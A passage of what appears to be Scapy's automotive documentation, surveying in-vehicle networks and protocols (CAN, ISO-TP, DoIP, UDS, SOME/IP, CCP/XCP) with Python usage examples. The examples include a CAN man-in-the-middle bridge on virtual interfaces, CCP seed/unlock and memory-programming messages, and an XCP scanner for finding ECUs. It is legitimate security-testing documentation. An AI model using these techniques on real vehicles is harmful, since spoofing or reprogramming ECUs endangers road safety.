protocols exist for the vehicle’s internal wired communication. Most vehicles make use of five to ten different protocols for their internal communication. The decision which communication protocol is used from an Original Equipment Manufacturer (OEM) is usually made by the trade-off between the costs for communication technology and the final car price. The four major communication technologies for inter-ECU communication are Controller Area Network (CAN), FlexRay, Local Interconnect Network (LIN), and Automotive Ethernet. For security considerations, these are the most relevant protocols for wired communication in vehicles. LIN --- LIN is a single wire communication protocol for low data rates. Actuators and sensors of a vehicle exchange information with an ECU, acting as a LIN master. Software updates over LIN are possible, but the LIN slaves usually do not need software updates because of their limited functionality. CAN --- CAN is by far the most used communication technology for inter-ECU communication in vehicles. In older or cheaper vehicles, CAN is still the primary protocol for a vehicle’s backbone communication. Safety-critical communication during a vehicle’s operation, diagnostic information, and software updates are transferred between ECUs over CAN. The lack of security features in the protocol itself, combined with the general use, makes CAN the primary protocol for security investigations. FlexRay ------- The FlexRay consortium designed FlexRay as a successor of CAN. Modern vehicles have higher demands on communication bandwidth. By design, FlexRay is a fast and reliable communication protocol for inter-ECU communication. FlexRay components are more expensive than CAN components, leading to a more selective use by OEMs. Automotive Ethernet ------------------- Recent upper-class vehicles implement Automotive Ethernet, the new backbone technology for internal vehicle communication. The rapidly grown bandwidth demands already replace FlexRay. The primary reasons for these demands are driver-assistant and autonomous-driving features. Only the physical layer (layer 1) of the Open Systems Interconnection (OSI) model distinguishes Ethernet (IEEE 802.3) from Automotive Ethernet (BroadR-Reach). This design decision leads to multiple advantages. For example, communication stacks of operating systems can be used without modification and routing, filtering, and firewall systems. Automotive Ethernet components are already cheaper than FlexRay components, which will lead to vehicle topologies, where CAN and Automotive Ethernet are the most used communication protocols. Topologies ========== Line-Bus -------- .. _fig-line-bus: .. figure:: ../graphics/automotive/Simple-CAN-Bus-.png Line-Bus network topology The first vehicles with CAN bus used a single network with a line-bus topology. Some lower-priced vehicles still use one or two shared CAN bus networks for their internal communication nowadays. The downside of this topology is its vulnerability and the lack of network separation. All ECUs of a vehicle are connected on a shared bus. Since CAN does not support security features from its protocol definition, any participant on this bus can communicate directly with all other participants, which allows an attacker to affect all ECUs, even safety-critical ones, by compromising one single ECU. The overall security level of this network is given from the security level of the weakest participant. Central Gateway --------------- .. _fig-cgw: .. figure:: ../graphics/automotive/ZGW-CAN-Bus-.png Network topology with central GW ECU The central Gateway (GW) topology can be found in higher-priced older cars and medium-priced to lower-priced recent cars. A centralized GW ECU separates domain-specific sub-networks. This allows an OEM to encapsulate all ECUs with remote attack surfaces in one sub-network. ECUs with safety-critical functionalities are located in an individual CAN network. Next to CAN, FlexRay might also be used as a communication protocol inside a separate network domain. The security of a safety-critical network in this topology depends mainly on the central GW ECU’s security. This architecture increases the overall security level of a vehicle through domain separation. After an attacker successfully exploited an ECU through an arbitrary attack surface, a second exploitable vulnerability or a logical bug is necessary to compromise a different domain, a safety-critical network, inside a vehicle. This second exploit or logical bug is necessary to overcome the network separation of the central GW ECU. Central Gateway and Domain Controller ------------------------------------- .. _fig-dc: .. figure:: ../graphics/automotive/DC-ZGW-CAN-Bus-.png Network topology with Automotive-Ethernet backbone and DC A new topology with central GW and Domain Controllers (DCs) can be found in the latest higher-priced vehicles. The increasing demand for bandwidth in modern vehicles with autonomous driving and driver assistant features led to this topology. An Automotive Ethernet network is used as a communication backbone for the entire vehicle. Individual domains, connected through a DC with the central GW, form the vehicle’s backbone. The individual DCs can control and regulate the data communication between a domain and the vehicle’s backbone. This topology achieves a very-high security level through a strong network separation with individual DCs, acting as gateway and firewall, to the vehicle’s backbone network. OEMs have the advantage of dynamic information routing next to this security improvement, an enabler for Feature on Demand (FoD) services. Automotive Communication Protocols ================================== This section provides an overview of relevant communication protocols for security evaluations in automotive networks. In contrast to section "Physical Protocols", this section focuses on properties for data communication. CAN --- The CAN communication technology was invented in 1983 as a message-based robust vehicle bus communication system. The Robert Bosch GmbH designed multiple communication features into the CAN standard to achieve a robust and computation efficient protocol for controller area networks. Remarkable for the communication behavior of CAN is the internal state machine for transmission errors. This state machine implements a fail silent behavior to protect a safety-critical network from babbling idiot nodes. If a specific limit of reception errors (REC) or transmission errors (TEC) occurred, the CAN driver changes its state from error-active to error-passive and finally to bus-off. .. _fig-can-bus-states: .. figure:: ../graphics/automotive/can-bus-states.png CAN bus states on transmission errors. Receive Error Counter (REC), Transmit Error Counter (TEC) In recent years, this protocol specification was abused for Denial of Service (DoS) attacks and information gathering attacks on the CAN network of a vehicle. Cho et al. demonstrated a DoS attack against CAN networks by abusing the bus-off state of ECUs [1]_. Injections of communication errors in CAN frames of one specific node caused a high transmission error count in the node under attack, forcing the attacked node to enter the bus-off state. In 2019 Kulandaivel et al. combined this attack with statistical analysis to achieve a fast and inexpensive network mapping in vehicular networks [2]_. They combined statistical analysis of the CAN network traffic before and after the bus-off attack was applied to a node. All missing CAN frames in the network traffic after an ECU was attacked could now be mapped to the ECU under attack, helping researchers identify the origin ECU of a CAN frame. Ken Tindell published a comprehensive summary of low level attacks on CANs in 2019 [3]_. .. _fig-can-full-frame: .. figure:: ../graphics/automotive/CAN-full-frame.jpg Complete CAN data frame structure [9]_ The above figure shows a CAN frame and its fields as it is transferred over the network. For information exchange, only the fields arbitration, control, and data are relevant. These are the only fields to which a usual application software has access. All other fields are evaluated on a hardware-layer and, in most cases, are not forwarded to an application. The data field has a variable length and can hold up to eight bytes. The length of the data field is specified by the data length code inside the control field. Important variations of this example are CAN-frames with extended arbitration fields and the Controller Area Network Flexible Data-Rate (CAN FD) protocol. On Linux, every received CAN frame is passed to SocketCAN. SocketCAN allows the CAN handling via network sockets of the operating system. SocketCAN was created by Oliver Hartkopp and added to the Linux Kernel version 2.6.25 [4]_. Figure 2.7 shows the frame structure, how CAN frames are encoded if a user-land application receives data from a CAN socket. .. _fig-can-socket-frame: .. figure:: ../graphics/automotive/can-frame-socket-can.png CAN frame defined by SocketCAN The comparison of above figures clearly shows the loss of information during the CAN frame processing from a physical layer driver. Almost every CAN driver acts in the same way, whether an application code runs on a microcontroller or a Linux kernel. This also means that a standard application does not have access to the Cyclic Redundancy Check (CRC) field, the acknowledgment bit, or the end-of-frame field. Through the CAN communication in a vehicle or a separated domain, ECUs exchange sensor-data and control inputs; this data is mainly not secured and can be modified by assailants. Attackers can easily spoof sensor values on a CAN bus to trigger malicious reactions of other ECUs. Miller and Valasek described this spoofing attack during their studies on automotive networks [5]_. To prevent attacks on safety-critical data transferred over CAN, Automotive Open System Architecture (AUTOSAR) released a secure onboard communication specification [6]_. ISO-TP (ISO 15765-2) -------------------- The CAN protocol supports only eight bytes of data. Use-cases like diagnostic operations or ECU programming require much higher payloads than the CAN protocol supports. For these purposes, the automotive industry standardized the Transport Layer (ISO-TP) (ISO 15765-2) protocol [7]_. ISO-TP is a transportation layer protocol on top of CAN. Payloads with up to 4095 bytes can be transferred between ISO-TP endpoints fragmented in CAN frames. The ISO-TP protocol handling requires four special frame types. .. _fig-isotp-flow: .. figure:: ../graphics/automotive/isotp-flow.png ISO-TP fragmented communication The different types of ISO-TP frames are shown in the following figure. The payload of a CAN frame gets replaced by one of the four ISO-TP frames. The individual ISO-TP frames have different purposes. A single frame can transfer between 1 and 7 bytes of ISO-TP message data. The len field of a Single Frame or a First Frame indicates the ISO-TP message length. Every message with more than 7 bytes of payload data must be fragmented into a First Frame, followed by multiple Consecutive Frames. This communication is illustrated in the above figure. After the First Frame is sent from a sender, the receiver has to communicate its reception capabilities through a Flow Control Frame to the sender. Only after this Flow Control Frame is received, the sender is allowed to communicate the Consecutive Frames according to the receiver’s capabilities. .. _fig-isotp-frames: .. figure:: ../graphics/automotive/isotp-frames.png ISO-TP frame types ISO-TP acts as a transport protocol with the support of directed communication through addressing mechanisms. In vehicles, ISO-TP is mainly used as a transport protocol for diagnostic communication. In rare cases, ISO-TP is also used to exchange larger data between ECUs of a vehicle. Security measures have to be applied to the application layer protocol transported through ISO-TP since ISO-TP has no capabilities to secure its transported data. DoIP ---- Diagnostic over IP (DoIP) was first implemented on automotive networks with a centralized gateway topology. A centralized GW functions as a DoIP endpoint that routes diagnostic messages to the desired network, allowing manufacturers to program or diagnose multiple ECUs in parallel. Since the Internet Protocol (IP) communication between a repair-shop tester and the GW is many times faster than the communication between the GW ECU and a target ECU connected over CAN, the remaining bandwidth of the IP communication can be used to start further DoIP connections to other ECUs in different CAN domains. DoIP is specified as part of AUTOSAR and in ISO 13400-2. Similar to ISO-TP, DoIP does not specify special security measures. The responsibility regarding secured communication is delegated to the application layer protocol. Diagnostic Protocols -------------------- Two examples of diagnostic protocols are General Motor Local Area Network (GMLAN) and Unified Diagnostic Service (UDS) (ISO 14229-2). The General Motors Cooperation uses GMLAN. German OEMs mainly use UDS. Both protocols are very similar from a specification point of view, and both protocols use either ISO-TP or DoIP messages for a directed communication with a target ECU. Since different OEMs use UDS, every manufacturer adds its custom additions to the standard. Also, every manufacturer uses individual ISO-TP addressing for the directed communication with an ECU. GMLAN includes more precise definitions about ECU addressing and an ECUs internal behavior compared to UDS. UDS and GMLAN follow a tree-like message structure, where the first byte identifies the service. Every service is answered by a response. Two types of responses are defined in the standard. Negative responses are indicated through the service 0x7F. Positive responses are identified by the request service identifier incremented with 0x40. .. _fig-diag-stack: .. figure:: ../graphics/automotive/diag-stack.png Automotive Diagnostic Protocol Stack A clear separation between the transport and the application layer allows creating application layer tools for both network stacks. The figure above provides an overview of relevant protocols and the corresponding layers. UDS defines a clean separation between application and transport layer. On CAN based networks, ISO-TP is used for this purpose. The CAN protocol can be treated as the network access protocol. This allows to replace ISO-TP and CAN with DoIP or HSFZ and Ethernet. The GMLAN protocol combines transport and application layer specifications very similar to ISO-TP and UDS. Because of that similarity, identical application layer-specific scan techniques can be applied. To overcome the bandwidth limitations of CAN, the latest vehicle architectures use an Ethernet-based diagnostic protocol (DoIP, HSFZ) to communicate with a central gateway ECU. The central gateway ECU routes application layer packets from an Ethernet-based network to a CAN based vehicle internal network. In general, the diagnostic functions of all ECUs in a vehicle can be accessed from the OBD connector over UDSonCAN or UDSonIP. SOME/IP ------- Scalable service-Oriented MiddlewarE over IP (SOME/IP) defines a new philosophy of data communication in automotive networks. SOME/IP is used to exchange data between network domain controllers in the latest vehicle networks. SOME/IP supports subscription and notification mechanisms, allowing domain controllers to dynamically subscribe to data provided by another domain controller dependent on the vehicle’s state. SOME/IP transports data between domain controllers and the gateway that a vehicle needs during its regular operation. The use-cases of SOME/IP are similar to the use-cases of CAN communication. The main purpose is the information exchange of sensor and actuator data between ECUs. This usage emphasizes SOME/IP communication as a rewarding target for cyber-attacks. CCP/XCP ------- Universal Measurement and Calibration Protocol (XCP), the CAN Calibration Protocol (CCP) successor, is a calibration protocol for automotive systems, standardized by ASAM e.V. in 2003. The primary usage of XCP is during the testing and calibration phase of ECU or vehicle development. CCP is designed for use on CAN. No message in CCP exceeds the 8-byte limitation of CAN. To overcome this restriction, XCP was designed to aim for compatibility with a wide range of transport protocols. XCP can be used on top of CAN, CAN FD, Serial Peripheral Interface (SPI), Ethernet, Universal Serial Bus (USB), and FlexRay. The features of CCP and XCP are very similar; however, XCP has a larger functional scope and optimizations for data efficiency. Both protocols have a session-based communication procedure and support authentication through seed and key mechanisms between a master and multiple slave nodes. A master node is typically an engineering Personal Computer (PC). In vehicles, slave nodes are ECUs for configuration. XCP also supports simulation. A vehicle engineer can debug a MATLAB Simulink model through XCP. In this case, the simulated model acts as the XCP slave node. CCP and XCP can read and write to the memory of an ECU. Another main feature is data acquisition. Both protocols support a procedure that allows an engineer to configure a so-called data acquisition list with memory addresses of interest. All memory specified in such a list will be read periodically and be broadcast in a CCP or XCP Data Acquisition (DAQ) packet on the chosen communication channel. The following figure gives an overview of all supported communication and packet types in XCP. In the Command Transfer Object (CTO) area, all communication follows a request and response procedure always initiated by the XCP master. A Command Packet (CMD) can receive a Command Response Packet (RES), an Error (ERR) packet, an Event Packet (EV), or a Service Request Packet (SERV) as a response. After the configuration of a slave through CTO CMDs, a slave can listen for Stimulation (STIM) packets and periodically send configured DAQ packets. The resources section in the following figure indicates the possible attack surfaces of this protocol (Programming (PGM), Calibration (CAL), DAQ, STIM) which an attacker could abuse. It is crucial for a vehicle’s security and safety that such protocols, which have their use only during calibration and development of a vehicle, are disabled or removed before a vehicle is shipped to a customer. .. _fig-xcp-reference: .. figure:: ../graphics/automotive/XCP_ReferenceBook.png XCP communication model between XCP Master and XCP Slave. This model shows the communication direction for CTO/Data Transfer Object (DTO) packages [8]_. **References** .. [1] Kyong-Tak Cho and Kang G. Shin. Error handling of in-vehicle networks makes them vulnerable. In Proceedings of the 2016 ACM SIGSAC Conference on Computer and Communications Security, CCS ’16, page 1044–1055, New York, NY, USA, 2016. Association for Computing Machinery. .. [2] Sekar Kulandaivel, Tushar Goyal, Arnav Kumar Agrawal, and Vyas Sekar. Canvas: Fast and inexpensive automotive network mapping. In 28th USENIX Security Symposium (USENIX Security 19), pages 389–405, Santa Clara, CA, August 2019. USENIX Association. .. [3] Ken Tindell. CAN Bus Security - Attacks on CAN bus and their mitigations, 2019. https://canislabs.com/wp-content/uploads/2020/12/2020-02-14-White-Paper-CAN-Security.pdf .. [4] Oliver Hartkopp. Readme file for the Controller Area Network Protocol Family (aka SocketCAN), 2020 (accessed January 29, 2020). https://www.kernel.org/doc/Documentation/networking/can.txt .. [5] Dr. Charlie Miller and Chris Valasek. Adventures in Automotive Networks and Control Units. DEF CON 21 Hacking Conference. Las Vegas, NV: DEF CON, August 2013. http://illmatics.com/car_hacking.pdf (accessed 2020-05-27) .. [6] AUTOSAR. Specification of Secure Onboard Communication, 2020 (accessed January 31, 2020). https://www.autosar.org/fileadmin/user_upload/standards/classic/4-3/AUTOSAR_SWS_SecureOnboardCommunication.pdf .. [7] ISO Central Secretary. Road vehicles – Diagnostic communication over Controller Area Network (DoCAN) – Part 2: Transport protocol and network layer services. Standard ISO 15765-2:2016, International Organization for Standardization, Geneva, CH, 2016. .. [8] Vector Informatik GmbH. XCP – The Standard Protocol for ECU Development. Vector Informatik GmbH, 2020 (accessed January 30, 2020). https://assets.vector.com/cms/content/application-areas/ecu-calibration/xcp/XCP_ReferenceBook_V3.0_EN.pdf .. [9] Pico Technology Ltd. Complete CAN data frame structure, 2020 (accessed February 14, 2020). https://www.picotech.com/images/uploads/library/topics/_med/CAN-full-frame.jpg .. [10] Nils Weiss. Security Testing in Safety-Critical Networks. PhD Study Report. http://www.kiv.zcu.cz/site/documents/verejne/vyzkum/publikace/technicke-zpravy/2020/Rigo_Weiss_2020_2.pdf ****** Layers ****** .. note:: **ATTENTION**: Animations below might be outdated. CAN === How-To ------ Send and receive a message over Linux SocketCAN:: load_layer("can") load_contrib('cansocket') socket = CANSocket(channel='can0') packet = CAN(identifier=0x123, data=b'01020304') socket.send(packet) rx_packet = socket.recv() socket.sr1(packet, timeout=1) Send and receive a message over a Vector CAN-Interface:: load_layer("can") conf.contribs['CANSocket'] = {'use-python-can' : True} load_contrib('cansocket') socket = CANSocket(bustype='vector', channel=0, bitrate=1000000) packet = CAN(identifier=0x123, data=b'01020304') socket.send(packet) rx_packet = socket.recv() socket.sr1(packet) CAN Frame --------- Basic information about CAN can be found here: https://en.wikipedia.org/wiki/CAN_bus The following examples assume that CAN layer in your Scapy session is loaded. If it isn't, the CAN layer can be loaded with this command in your Scapy session:: >>> load_layer("can") Creation of a standard CAN frame:: >>> frame = CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') Creation of an extended CAN frame:: frame = CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') >>> frame.show() ###[ CAN ]### flags= extended identifier= 0x10010000 length= 8 reserved= 0 data= '\x01\x02\x03\x04\x05\x06\x07\x08' .. image:: ../graphics/animations/animation-scapy-canframe.svg CAN Frame in- and export ------------------------ CAN Frames can be written to and read from ``pcap`` files:: x = CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') wrpcap('/tmp/scapyPcapTest.pcap', x, append=False) y = rdpcap('/tmp/scapyPcapTest.pcap', 1) .. image:: ../graphics/animations/animation-scapy-rdpcap.svg Additionally CAN Frames can be imported from ``candump`` output and log files. The ``CandumpReader`` class can be used in the same way as a ``socket`` object. This allows you to use ``sniff`` and other functions from Scapy:: with CandumpReader("candump.log") as sock: can_msgs = sniff(count=50, opened_socket=sock) .. image:: ../graphics/animations/animation-scapy-rdcandump.svg DBC File Format and CAN Signals ------------------------------- In order to support the DBC file format, ``SignalFields`` and the ``SignalPacket`` classes were added to Scapy. ``SignalFields`` should only be used inside a ``SignalPacket``. Multiplexer fields (MUX) can be created through ``ConditionalFields``. The following example demonstrates the usage:: DBC Example: BO_ 4 muxTestFrame: 7 TEST_ECU SG_ myMuxer M : 53|3@1+ (1,0) [0|0] "" CCL_TEST SG_ muxSig4 m0 : 25|7@1- (1,0) [0|0] "" CCL_TEST SG_ muxSig3 m0 : 16|9@1+ (1,0) [0|0] "" CCL_TEST SG_ muxSig2 m0 : 15|8@0- (1,0) [0|0] "" CCL_TEST SG_ muxSig1 m0 : 0|8@1- (1,0) [0|0] "" CCL_TEST SG_ muxSig5 m1 : 22|7@1- (0.01,0) [0|0] "" CCL_TEST SG_ muxSig6 m1 : 32|9@1+ (2,10) [0|0] "mV" CCL_TEST SG_ muxSig7 m1 : 2|8@0- (0.5,0) [0|0] "" CCL_TEST SG_ muxSig8 m1 : 0|6@1- (10,0) [0|0] "" CCL_TEST SG_ muxSig9 : 40|8@1- (100,-5) [0|0] "V" CCL_TEST BO_ 3 testFrameFloat: 8 TEST_ECU SG_ floatSignal2 : 32|32@1- (1,0) [0|0] "" CCL_TEST SG_ floatSignal1 : 7|32@0- (1,0) [0|0] "" CCL_TEST Scapy implementation of this DBC description:: class muxTestFrame(SignalPacket): fields_desc = [ LEUnsignedSignalField("myMuxer", default=0, start=53, size=3), ConditionalField(LESignedSignalField("muxSig4", default=0, start=25, size=7), lambda p: p.myMuxer == 0), ConditionalField(LEUnsignedSignalField("muxSig3", default=0, start=16, size=9), lambda p: p.myMuxer == 0), ConditionalField(BESignedSignalField("muxSig2", default=0, start=15, size=8), lambda p: p.myMuxer == 0), ConditionalField(LESignedSignalField("muxSig1", default=0, start=0, size=8), lambda p: p.myMuxer == 0), ConditionalField(LESignedSignalField("muxSig5", default=0, start=22, size=7, scaling=0.01), lambda p: p.myMuxer == 1), ConditionalField(LEUnsignedSignalField("muxSig6", default=0, start=32, size=9, scaling=2, offset=10, unit="mV"), lambda p: p.myMuxer == 1), ConditionalField(BESignedSignalField("muxSig7", default=0, start=2, size=8, scaling=0.5), lambda p: p.myMuxer == 1), ConditionalField(LESignedSignalField("muxSig8", default=0, start=3, size=3, scaling=10), lambda p: p.myMuxer == 1), LESignedSignalField("muxSig9", default=0, start=41, size=7, scaling=100, offset=-5, unit="V"), ] class testFrameFloat(SignalPacket): fields_desc = [ LEFloatSignalField("floatSignal2", default=0, start=32), BEFloatSignalField("floatSignal1", default=0, start=7) ] bind_layers(SignalHeader, muxTestFrame, identifier=0x123) bind_layers(SignalHeader, testFrameFloat, identifier=0x321) dbc_sock = CANSocket("can0", basecls=SignalHeader) pkt = SignalHeader()/testFrameFloat(floatSignal2=3.4) dbc_sock.send(pkt) This example uses the class ``SignalHeader`` as header. The payload is specified by individual ``SignalPackets``. ``bind_layers`` combines the header with the payload dependent on the CAN identifier. If you want to directly receive ``SignalPackets`` from your ``CANSocket``, provide the parameter ``basecls`` to the ``init`` function of your ``CANSocket``. Canmatrix supports the creation of Scapy files from DBC or AUTOSAR XML files https://github.com/ebroecker/canmatrix CANSockets ========== Linux SocketCAN --------------- This subsection summarizes some basics about Linux SocketCAN. An excellent overview from Oliver Hartkopp can be found here: https://wiki.automotivelinux.org/_media/agl-distro/agl2017-socketcan-print.pdf Virtual CAN Setup ^^^^^^^^^^^^^^^^^ Linux SocketCAN supports virtual CAN interfaces. These interfaces are an easy way to do some first steps on a CAN-Bus without the requirement of special hardware. Besides that, virtual CAN interfaces are heavily used in Scapy unit tests for automotive-related contributions. Virtual CAN sockets require a special Linux kernel module. The following shell command loads the required module:: sudo modprobe vcan In order to use a virtual CAN interface some additional commands for setup are required. This snippet chooses the name ``vcan0`` for the virtual CAN interface. Any name can be chosen here:: sudo ip link add name vcan0 type vcan sudo ip link set dev vcan0 up The same commands can be executed from Scapy like this:: from scapy.layers.can import * import os bashCommand = "/bin/bash -c 'sudo modprobe vcan; sudo ip link add name vcan0 type vcan; sudo ip link set dev vcan0 up'" os.system(bashCommand) If it's required, a CAN interface can be set into a ``listen-only`` or ``loopback`` mode with ``ip link set`` commands:: ip link set vcan0 type can help # shows additional information Linux can-utils ^^^^^^^^^^^^^^^ As part of Linux SocketCAN, some very useful command line tools are provided from Oliver Hartkopp: https://github.com/linux-can/can-utils The following example shows the basic functions of Linux can-utils. These utilities are very handy for quick checks, dumping, sending, or logging of CAN messages from the command line. .. image:: ../graphics/animations/animation-cansend.svg Scapy CANSocket --------------- In Scapy, two kind of CANSockets are implemented. One implementation is called **Native CANSocket**, the other implementation is called **Python-can CANSocket**. Since Python 3 supports ``PF_CAN`` sockets, **Native CANSockets** can be used on a Linux based system with Python 3 or higher. These sockets have a performance advantage because ``select`` is callable on them. This has a big effect in MITM scenarios. For compatibility reasons, **Python-can CANSockets** were added to Scapy. On Windows or OSX and on all systems without Python 3, CAN buses can be accessed through ``python-can``. ``python-can`` needs to be installed on the system: https://github.com/hardbyte/python-can/ **Python-can CANSockets** are a wrapper of python-can interface objects for Scapy. Both CANSockets provide the same API which makes them exchangeable under most conditions. Nevertheless some unique behaviours of each CANSocket type has to be respected. Some CAN-interfaces, like Vector hardware is only supported on Windows. These interfaces can be used through **Python-can CANSockets**. Native CANSocket ^^^^^^^^^^^^^^^^ Creating a simple native CANSocket:: conf.contribs['CANSocket'] = {'use-python-can': False} #(default) load_contrib('cansocket') # Simple Socket socket = CANSocket(channel="vcan0") Creating a native CANSocket only listen for messages with Id == 0x200:: socket = CANSocket(channel="vcan0", can_filters=[{'can_id': 0x200, 'can_mask': 0x7FF}]) Creating a native CANSocket only listen for messages with Id >= 0x200 and Id <= 0x2ff:: socket = CANSocket(channel="vcan0", can_filters=[{'can_id': 0x200, 'can_mask': 0x700}]) Creating a native CANSocket only listen for messages with Id != 0x200:: socket = CANSocket(channel="vcan0", can_filters=[{'can_id': 0x200 | CAN_INV_FILTER, 'can_mask': 0x7FF}]) Creating a native CANSocket with multiple can_filters:: socket = CANSocket(channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}, {'can_id': 0x400, 'can_mask': 0x7ff}, {'can_id': 0x600, 'can_mask': 0x7ff}, {'can_id': 0x7ff, 'can_mask': 0x7ff}]) Creating a native CANSocket which also receives its own messages:: socket = CANSocket(channel="vcan0", receive_own_messages=True) .. image:: ../graphics/animations/animation-scapy-native-cansocket.svg Sniff on a CANSocket: .. image:: ../graphics/animations/animation-scapy-cansockets-sniff.svg CANSocket python-can ^^^^^^^^^^^^^^^^^^^^ python-can is required to use various CAN-interfaces on Windows, OSX or Linux. The python-can library is used through a CANSocket object. To create a python-can CANSocket object, all parameters of a python-can ``interface.Bus`` object has to be used for the initialization of the CANSocket. Ways of creating a python-can CANSocket:: conf.contribs['CANSocket'] = {'use-python-can': True} load_contrib('cansocket') Creating a simple python-can CANSocket:: socket = CANSocket(bustype='socketcan', channel='vcan0', bitrate=250000) Creating a python-can CANSocket with multiple filters:: socket = CANSocket(bustype='socketcan', channel='vcan0', bitrate=250000, can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}, {'can_id': 0x400, 'can_mask': 0x7ff}, {'can_id': 0x600, 'can_mask': 0x7ff}, {'can_id': 0x7ff, 'can_mask': 0x7ff}]) For further details on python-can check: https://python-can.readthedocs.io/ CANSocket MITM attack with bridge and sniff ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ This example shows how to use bridge and sniff on virtual CAN interfaces. For real world applications, use real CAN interfaces. Set up two vcans on Linux terminal:: sudo modprobe vcan sudo ip link add name vcan0 type vcan sudo ip link add name vcan1 type vcan sudo ip link set dev vcan0 up sudo ip link set dev vcan1 up Import modules:: import threading load_contrib('cansocket') load_layer("can") Create can sockets for attack:: socket0 = CANSocket(channel='vcan0') socket1 = CANSocket(channel='vcan1') Create a function to send packet with threading:: def sendPacket(): sleep(0.2) socket0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) Create a function for forwarding or change packets:: def forwarding(pkt): return pkt Create a function to bridge and sniff between two sockets:: def bridge(): bSocket0 = CANSocket(channel='vcan0') bSocket1 = CANSocket(channel='vcan1') bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=1) bSocket0.close() bSocket1.close() Create threads for sending packet and to bridge and sniff:: threadBridge = threading.Thread(target=bridge) threadSender = threading.Thread(target=sendMessage) Start the threads:: threadBridge.start() threadSender.start() Sniff packets:: packets = socket1.sniff(timeout=0.3) Close the sockets:: socket0.close() socket1.close() .. image:: ../graphics/animations/animation-scapy-cansockets-mitm.svg .. image:: ../graphics/animations/animation-scapy-cansockets-mitm2.svg CAN Calibration Protocol (CCP) ============================== CCP is derived from CAN. The CAN-header is part of a CCP frame. CCP has two types of message objects. One is called Command Receive Object (CRO), the other is called Data Transmission Object (DTO). Usually CROs are sent to an Ecu, and DTOs are received from an Ecu. The information, if one DTO answers a CRO is implemented through a counter field (ctr). If both objects have the same counter value, the payload of a DTO object can be interpreted from the command of the associated CRO object. Creating a CRO message:: load_contrib('automotive.ccp') CCP(identifier=0x700)/CRO(ctr=1)/CONNECT(station_address=0x02) CCP(identifier=0x711)/CRO(ctr=2)/GET_SEED(resource=2) CCP(identifier=0x711)/CRO(ctr=3)/UNLOCK(key=b"123456") If we aren't interested in the DTO of an Ecu, we can just send a CRO message like this: Sending a CRO message:: pkt = CCP(identifier=0x700)/CRO(ctr=1)/CONNECT(station_address=0x02) sock = CANSocket(bustype='socketcan', channel='vcan0') sock.send(pkt) If we are interested in the DTO of an Ecu, we need to set the basecls parameter of the CANSocket to CCP and we need to use sr1: Sending a CRO message:: cro = CCP(identifier=0x700)/CRO(ctr=0x53)/PROGRAM_6(data=b"\x10\x11\x12\x10\x11\x12") sock = CANSocket(bustype='socketcan', channel='vcan0', basecls=CCP) dto = sock.sr1(cro) dto.show() ###[ CAN Calibration Protocol ]### flags= identifier= 0x700 length= 8 reserved= 0 ###[ DTO ]### packet_id= 0xff return_code= acknowledge / no error ctr= 83 ###[ PROGRAM_6_DTO ]### MTA0_extension= 2 MTA0_address= 0x34002006 Since sr1 calls the answers function, our payload of the DTO objects gets interpreted with the command of our CRO object. Universal calibration and measurement protocol (XCP) ==================================================== XCP is the successor of CCP. It is usable with several protocols. Scapy includes CAN, UDP and TCP. XCP has two types of message types: Command Transfer Object (CTO) and Data Transmission Object (DTO). CTOs send to an Ecu are requests (commands) and the Ecu has to reply with a positive response or an error. Additionally, the Ecu can send a CTO to inform the master about an asynchronous event (EV) or request a service execution (SERV). DTOs sent by the Ecu are called DAQ (Data AcQuisition) and include measured values. DTOs received by the Ecu are used for a periodic stimulation and are called STIM (Stimulation). Creating a CTO message:: CTORequest() / Connect() CTORequest() / GetDaqResolutionInfo() CTORequest() / GetSeed(mode=0x01, resource=0x00) To send the message over CAN a header has to be added:: pkt = XCPOnCAN(identifier=0x700) / CTORequest() / Connect() sock = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0')) sock.send(pkt) If we are interested in the response of an Ecu, we need to set the basecls parameter of the CANSocket to XCPonCAN and we need to use sr1: Sending a CTO message:: sock = CANSocket(bustype='socketcan', channel='vcan0', basecls=XCPonCAN) dto = sock.sr1(pkt) Since sr1 calls the answers function, our payload of the XCP-response objects gets interpreted with the command of our CTO object. Otherwise it could not be interpreted. The first message should always be the "CONNECT" message, the response of the Ecu determines how the messages are read. E.g.: byte order. Otherwise, one must set the address granularity, and max size of the DTOs and CTOs per hand in the contrib config:: conf.contribs['XCP']['Address_Granularity_Byte'] = 1 # Can be 1, 2 or 4 conf.contribs['XCP']['MAX_CTO'] = 8 conf.contribs['XCP']['MAX_DTO'] = 8 If you do not want this to be set after receiving the message you can also disable that feature:: conf.contribs['XCP']['allow_byte_order_change'] = False conf.contribs['XCP']['allow_ag_change'] = False conf.contribs['XCP']['allow_cto_and_dto_change'] = False To send a pkt over TCP or UDP another header must be used. TCP:: prt1, prt2 = 12345, 54321 XCPOnTCP(sport=prt1, dport=prt2) / CTORequest() / Connect() UDP:: XCPOnUDP(sport=prt1, dport=prt2) / CTORequest() / Connect() XCPScanner --------------- The XCPScanner is a utility to find the CAN identifiers of ECUs that support XCP. Commandline usage example:: python -m scapy.tools.automotive.xcpscanner -h Finds XCP slaves using the "GetSlaveId"-message(Broadcast) or the "Connect"-message. positional arguments: channel Linux SocketCAN interface name, e.g.: vcan0 optional arguments: -h, --help show this help message and exit --start START, -s START Start identifier CAN (in hex). The scan will test ids between --start and --end (inclusive) Default: 0x00 --end END, -e END End identifier CAN (in hex). The scan will test ids between --start and --end (inclusive) Default: 0x7ff --sniff_time', '-t' Duration in milliseconds a sniff is waiting for a response. Default: 100 --broadcast, -b Use Broadcast-message GetSlaveId instead of default "Connect" (GetSlaveId is an optional Message that is not always implemented) --verbose VERBOSE, -v Display information during scan Examples: python3.6 -m scapy.tools.automotive.xcpscanner can0 python3.6 -m scapy.tools.automotive.xcpscanner can0 -b 500 python3.6 -m scapy.tools.automotive.xcpscanner can0 -s 50 -e 100 python3.6 -m scapy.tools.automotive.xcpscanner can0 -b 500 -v Interactive shell usage example:: >>> 